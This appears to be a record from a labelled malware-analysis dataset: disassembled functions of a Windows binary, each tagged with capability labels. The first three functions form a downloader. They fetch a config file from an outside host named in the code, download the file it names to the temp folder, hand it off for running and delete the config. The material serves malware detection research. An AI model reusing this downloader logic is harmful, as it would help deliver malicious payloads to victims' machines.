joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cc0
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rcsvccfg10.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__down.hao3603.com_rcsvccfg10.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__down.hao3603.com_rcsvccfg10.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43de9c
push 0x43e228
push str.main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43de9c
push str.name
push str.main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004011a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004343fa
mov esp, ebp
pop ebp
ret
Function at 0x402eb0
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rcsvccfg10.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__down.hao3603.com_rcsvccfg10.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__down.hao3603.com_rcsvccfg10.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43de9c
push 0x43e228
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43de9c
push str.name
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004011a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004343fa
mov esp, ebp
pop ebp
ret
Function at 0x4030a0
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rcsvccfg10.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__down.hao3603.com_rcsvccfg10.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__down.hao3603.com_rcsvccfg10.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43de9c
push 0x43e228
push str.Mini
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43de9c
push str.name
push str.Mini
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004011a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004343fa
mov esp, ebp
pop ebp
ret
Function at 0x403e50
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x403ea0
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x403e9a
shr eax, 8
cmp al, 2
jne 0x403e9a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 2
call fcn.004343fa
mov esp, ebp
pop ebp
ret
Function at 0x40dff0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x40e023
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
pop ebp
ret

Function at 0x40e160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x40e182
mov edx, dword [esi + 0x134]
push edx
mov edx, dword [ebp + 8]
push ebx
push edx
push eax
push esi
call ecx
add esp, 0x14
pop ebp
ret
test eax, eax
js 0x40e1bb
cmp eax, 2
jg 0x40e1bb
mov ecx, dword [esi + 0x130]
push edi
mov edi, dword [sym.imp.MSVCR100.dll_fwrite]
push ecx
push 1
lea edx, [eax + eax*2 + 0x436f68]
push 2
push edx
call edi
mov eax, dword [esi + 0x130]
mov ecx, dword [ebp + 8]
push eax
push 1
push ebx
push ecx
call edi
add esp, 0x20
pop edi
xor eax, eax
pop ebp
ret

Function at 0x40e490
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + eax*4 + 0x154]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [ebp + 0x18]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x40e50c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp + 8], eax
cmp eax, 0x2733
jne 0x40e4e1
pop edi
pop esi
mov dword [ebx], 0x51
xor eax, eax
pop ebx
pop ebp
ret
push eax
push esi
call fcn.00413750
push eax
mov eax, dword [esi]
push str.Send_failure:__s
push eax
call fcn.0040e320
mov ecx, dword [esi]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x8614], edx
add esp, 0x14
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40ff10
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp dword [esi + 0x470], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
setne al
push 8
push 0xffff
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x40ff63
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.0040e2a0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x474]
push edx
mov dword [ebp - 0x10], 1
call fcn.00427050
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x478]
push eax
call fcn.00427050
imul eax, eax, 0x3e8
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
push 0xc
lea edx, [ebp - 0x10]
push edx
push 0x98000004
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x40ffd5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.0040e2a0
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
Function at 0x410650
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x8c], 2
mov ebx, dword [esi]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x110], ebx
je 0x41082c
cmp dword [esi + 0x1d8], 0
push edi
jne 0x410822
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x104]
push ecx
push edi
mov dword [ebp - 0x10c], 0x80
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x4106e7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.00413750
push eax
push edi
push str.getpeername___failed_with_errno__d:__s
push ebx
call fcn.0040e320
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
push 0x80
lea edx, [ebp - 0x84]
push 0
push edx
mov dword [ebp - 0x10c], 0x80
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x84]
push ecx
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x410750
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.00413750
push eax
push edi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.0040e320
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
lea edi, [esi + 0xb8]
lea ebx, [esi + 0xe8]
lea esi, [ebp - 0x104]
mov dword [ebp - 0x114], edi
call fcn.00410610
test eax, eax
jne 0x4107ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x108]
mov esi, eax
push esi
push edx
call fcn.00413750
push eax
mov eax, dword [ebp - 0x110]
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push eax
call fcn.0040e320
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x108]
mov esi, dword [ebp - 0x114]
lea edi, [eax + 0x58]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ebx, [eax + 0x11c]
lea edi, [eax + 0xec]
lea esi, [ebp - 0x84]
call fcn.00410610
test eax, eax
jne 0x41081c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x108]
mov esi, eax
push esi
push ecx
call fcn.00413750
mov edx, dword [ebp - 0x110]
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push edx
call fcn.0040e320
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x108]
push esi
call fcn.004105b0
add esp, 4
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004343fa
mov esp, ebp
pop ebp
ret
Function at 0x410840
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [edi]
mov eax, dword [esi + 0x364]
push 4
lea ecx, [ebp - 4]
push ecx
push 1
push 6
push edx
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x410886
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.00413750
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.0040e2a0
add esp, 0x14
pop esi
mov esp, ebp
pop ebp
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.0040e2a0
add esp, 8
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4108a0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4400e8]
push esi
mov dword [ebp - 0xa4], 0x4020
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 4
test eax, eax
jne 0x41096a
push 0x9c
push eax
lea eax, [ebp - 0xa0]
push eax
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
add esp, 0xc
push 3
push 2
push 0
push 0
mov dword [ebp - 0xa0], 0x9c
mov dword [ebp - 0x9c], 6
call esi
push 3
push 1
push edx
push eax
call esi
push 3
push 0x20
push edx
push eax
call esi
push 3
push 0x10
push edx
push eax
call esi
push edx
push eax
push 0x33
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
test eax, eax
je 0x41095e
mov dword [0x4400e8], 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
mov dword [0x4400e8], 1
jmp 0x41096f
cmp eax, 2
je 0x4109bd
mov esi, dword [ebp + 8]
lea edx, [ebp - 0xac]
push edx
lea eax, [ebp - 0xa8]
push eax
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x4109a3
mov ecx, dword [ebp - 0xa8]
cmp ecx, dword [ebp - 0xa4]
jg 0x4109bd
push 4
lea edx, [ebp - 0xa4]
push edx
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004343fa
mov esp, ebp
pop ebp
ret

Function at 0x4109f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0x5d8]
test esi, esi
je 0x410a47
mov eax, dword [edi + 0x44]
test eax, eax
jne 0x410a11
cmp dword [edi + 0x40], eax
je 0x410a47
mov dword [ebp - 8], esi
mov dword [ebp - 4], 0
test eax, eax
jne 0x410a22
mov eax, dword [edi + 0x40]
push 0x4109d0
lea ecx, [ebp - 8]
add eax, 0x68
push ecx
push eax
call fcn.0042cd20
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x410a50
mov dword [edi + 0x5d8], 0
pop edi
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x410a59
mov dword [eax], esi
cmp dword [esi + 0x17c], 0
mov edi, dword [esi + 0x154]
jne 0x410a47
push 2
push 1
lea edx, [ebp + 0xb]
push edx
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x410a47
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x411470
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp + 8]
mov dword [eax], ebx
mov eax, dword [ebp + 0xc]
push edx
push eax
push ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x411606
push edi
mov edi, dword [ebp - 0x10]
cmp edi, ebx
je 0x4115e8
push esi
cmp dword [edi + 4], 2
jne 0x41156c
cmp dword [edi + 0x18], ebx
je 0x41156c
mov eax, dword [edi + 0x10]
cmp eax, ebx
jbe 0x41156c
cmp eax, 0x10
jb 0x41156c
push 0x20
call dword [section..data]
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x411579
mov edx, dword [edi]
mov dword [esi], edx
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov ecx, dword [edi + 8]
mov dword [esi + 8], ecx
mov edx, dword [edi + 0xc]
push 0x10
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], 0x10
mov dword [esi + 0x18], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x1c], ebx
call dword [section..data]
add esp, 4
mov dword [esi + 0x18], eax
cmp eax, ebx
je 0x411582
mov ecx, dword [edi + 0x18]
mov edx, dword [ecx]
mov dword [eax], edx
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0xc], ecx
mov eax, dword [edi + 0x14]
cmp eax, ebx
je 0x411557
push eax
call dword [0x44000c]
add esp, 4
mov dword [esi + 0x14], eax
cmp eax, ebx
je 0x411595
cmp dword [ebp - 4], ebx
jne 0x41155f
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x411569
mov dword [eax + 0x1c], esi
mov dword [ebp - 0xc], esi
mov edi, dword [edi + 0x1c]
cmp edi, ebx
jne 0x4114b2
jmp 0x4115b0
mov dword [ebp - 8], 8
jmp 0x4115b0
push esi
mov dword [ebp - 8], 8
call dword [0x440004]
add esp, 4
jmp 0x4115b0
mov edx, dword [esi + 0x18]
push edx
mov dword [ebp - 8], 8
call dword [0x440004]
push esi
call dword [0x440004]
add esp, 8
mov eax, dword [ebp - 0x10]
pop esi
cmp eax, ebx
je 0x4115bf
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [ebp - 8], ebx
je 0x4115e3
mov eax, dword [ebp - 4]
push eax
call fcn.00411430
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 8]
add esp, 4
mov ecx, ebx
pop edi
mov dword [ebp - 4], ebx
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 4], ebx
jne 0x4115fa
push 0x2af9
mov dword [ebp - 8], 0x2af9
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 8]
mov dword [edx], ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412cc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0
push 0
push eax
push ecx
push 0
push 0
call dword [sym.imp.MSVCR100.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x412ce5
cmp eax, 0xffffffff
jne 0x412ce7
xor eax, eax
pop ebp
ret
Function at 0x41b030
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi + 0x10]
mov ecx, dword [eax]
push str.Connected_for_receive
push 0x43717c
push ecx
call fcn.0040e2a0
add esp, 0xc
mov eax, esi
mov dword [esi], 1
call fcn.0041a1b0
test eax, eax
jne 0x41b064
mov eax, esi
pop ebp
jmp fcn.0041a630
pop ebp
ret
Function at 0x41b460
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
push esi
mov esi, dword [eax + 0x400]
push edi
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], 0x80
mov edx, dword [esi + 0x154]
mov eax, dword [esi + 0x15c]
lea ecx, [ebp - 0x84]
push ecx
mov ecx, dword [esi + 0x14]
push 0
add edx, 4
push edx
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x41b4f4
mov edx, dword [ebp - 0x88]
push edx
lea eax, [ebp - 0x84]
push eax
lea ecx, [esi + 0xc8]
push ecx
call sub.MSVCR100.dll_memcpy
mov edx, dword [ebp - 0x88]
add esp, 0xc
mov dword [esi + 0x148], edx
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x41b527
push str.Received_too_short_packet
push ebx
call fcn.0040e320
add esp, 8
mov dword [esi + 0xc], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x15c]
call fcn.0041a350
movzx eax, ax
mov dword [esi + 0xc], eax
add eax, 0xfffffffd
cmp eax, 3
ja case.default.0x41b544
jmp dword [eax*4 + 0x41b674]
cmp edx, 4
jle case.0x41b544.4
lea eax, [esi + 0x15c]
call fcn.0041a360
movzx ecx, word [esi + 0x40]
inc ecx
cmp cx, ax
jne case.0x41b544.4
mov eax, dword [ebp - 0x8c]
add edx, 0xfffffffc
push edx
mov edx, dword [esi + 0x15c]
add edx, 4
push edx
push 1
push eax
call fcn.0040e7c0
mov edi, eax
add esp, 0x10
test edi, edi
je 0x41b5b1
mov ecx, 5
mov eax, esi
call fcn.0041b3e0
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [ebx + 0x70], eax
adc dword [ebx + 0x74], edx
mov ecx, dword [ebx + 0x74]
mov edx, dword [ebx + 0x70]
push ecx
push edx
push ebx
call fcn.0042a1f0
jmp 0x41b635
lea eax, [esi + 0x15c]
call fcn.0041a360
mov ecx, dword [esi + 0x15c]
add ecx, 4
push ecx
movzx eax, ax
push 0x43717c
push ebx
mov dword [esi + 8], eax
call fcn.0040e2a0
jmp 0x41b635
add edx, 0xfffffffe
push edx
mov edx, dword [esi + 0x15c]
add edx, 2
push edx
push esi
call fcn.0041a3f0
add esp, 0xc
test eax, eax
je case.0x41b544.4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343fa
mov esp, ebp
pop ebp
ret
push str.Internal_error:_Unexpected_packet
push 0x436fa8
push ebx
call fcn.0040e320
add esp, 0xc
mov eax, dword [ebp - 0x8c]
push eax
call fcn.0042a2d0
add esp, 4
test eax, eax
je 0x41b514
mov ecx, 5
mov eax, esi
call fcn.0041b3e0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 0x2a
pop ebx
call fcn.004343fa
mov esp, ebp
pop ebp
ret